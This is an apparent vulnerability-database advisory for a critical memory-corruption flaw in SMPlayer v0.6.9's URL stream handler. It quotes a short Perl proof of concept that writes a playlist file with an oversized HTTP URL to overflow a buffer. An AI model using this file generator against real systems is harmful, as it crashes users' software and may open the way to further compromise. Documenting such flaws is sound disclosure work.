SMPlayer v0.6.9 URL Stream memory corruption

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A vulnerability was found in SMPlayer v0.6.9. It has been declared as critical. This affects an unknown function of the component URL Stream Handler. Executing a manipulation can lead to memory corruption. Moreover, an exploit is present.

Detailsinfo

A vulnerability was found in SMPlayer v0.6.9 (Multimedia Player Software). It has been declared as critical. This vulnerability affects some unknown processing of the component URL Stream Handler. The manipulation with an unknown input leads to a memory corruption vulnerability. The CWE definition for the vulnerability is CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. As an impact it is known to affect confidentiality, integrity, and availability.

The weakness was disclosed 08/19/2011 by Pim Campers (X4lt) as VL-ID 64 as not defined advisory (Website). The advisory is shared for download at vulnerability-lab.com. Technical details are unknown but a public exploit is available.

A public exploit has been developed by Pim Campers in Perl and been published immediately after the advisory. It is possible to download the exploit at vulnerability-lab.com. It is declared as proof-of-concept. The code used by the exploit is:

#!/usr/bin/perl
=gnk
     
=cut
##############################################################################
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my $header1="[playlist]\n";
my $header2="NumberOfEntries=1\n";
my $header3="File1=http://";
my $bof="\x41" x 7500000;
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open(myfile,'>> 7500000.pls');
print myfile $header1.$header2.$header3.$bof;
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There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

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Type

• Multimedia Player Software

Name

• SMPlayer

Version

• v0.6.9

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